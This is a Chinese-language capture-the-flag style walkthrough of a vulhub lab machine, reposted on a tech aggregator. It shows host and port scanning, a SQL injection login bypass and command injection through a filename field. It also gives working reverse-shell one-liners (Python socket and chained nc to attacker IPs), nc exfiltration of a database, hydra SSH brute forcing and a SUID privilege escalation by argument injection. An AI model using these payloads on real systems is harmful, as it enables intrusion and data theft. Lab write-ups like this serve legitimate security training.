【打靶】vulhub打靶系列(一)—小白视野的渗透测试

编程入门 行业动态 更新时间:2024-10-21 04:15:02

【打靶】vulhub打靶系列(一)—小白<a href=https://www.elefans.com/category/jswz/34/1759907.html style=视野的渗透测试"/>

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

主机探测

arpscan

arp-scan -l

另一种方法arping

for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done

注意这个必须是root权限

端口探测

nmap

nmap -p- -sV -T4 192.168.56.104

发现8080端口

web测试

访问下web页面

1、通过逻辑点绕过

发送到xia_sql发现可能存在sql注入

导入sql的fuzz字典跑包

发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合

那就直接” or 1 = 1 -- q绕过

2、爆破绕过

爆破许可证(相当于就是密码么):password

进一步测试

登入到这个页面之后进行观察:

发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的

执行 ​​hello | ls​

页面回显,尝试监听进而更方便的执行指令

尝试监听

1、通过自带的python反弹shell

攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2、通过nc反弹shell【看运气,看人服务器上有无nc】

攻击机启动4444端口的监听

nc -nvlp 4444

web页面输入

hello|nc 192.168.56.102 4444 -e /bin/sh# hello 使页面正常运行
# 192.168.56.102 攻击机的ip
# -e /bin/bsh  反弹回服务器的shell
# 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来

但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题

hello|nc 192.168.56.102 4444

发现监听没问题,说明我们的猜想是对的

接下来通过串联nc的方式来代替-e参数反弹shell的问题

输入

hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333# hello 确保web页面正常执行
# nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】
# /bin/bash  将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】
# nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】
# 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】

因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果

成功监听

发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限

主机信息收集

执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具

看见root权限下有执行权限的两个文件

其实可以逐个看下

app.py

看下数据库文件

发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息

转存数据库文件

在靶机开启nc将database的内容传给攻击机的5555端口

nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口

在kali开启5555端口监听,将监听到的内容传递给db.sql中

nc 5555 > db1.sql
# 将nc的5555监听到的内容全部传给db.sql中

这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道

查看数据库

# sqlite3   --进入sqlite
> .open db1.sql  --打开db1文件
> .database     -- 进入数据库
> .dump        --dump下来

有了数据库密码,结合下用户

ssh爆破

监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)

hydra -l user -P password.txt ssh://192.168.56.104

执行后发现全部失败,爆破失败

进一步信息收集

向上跳一级查看其他文件

找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令

SUID提权

cat update_cloudav.c

通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入

./update_cloudav a

日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等

所以正常尝试就好

依旧采用nc串联的方式尝试利用root权限

输入

./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"

并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])

成功提权至root权限​

小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!

更多推荐

【打靶】vulhub打靶系列(一)—小白视野的渗透测试

本文发布于:2023-12-03 11:17:02,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1654758.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:视野   测试   系列   vulhub

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!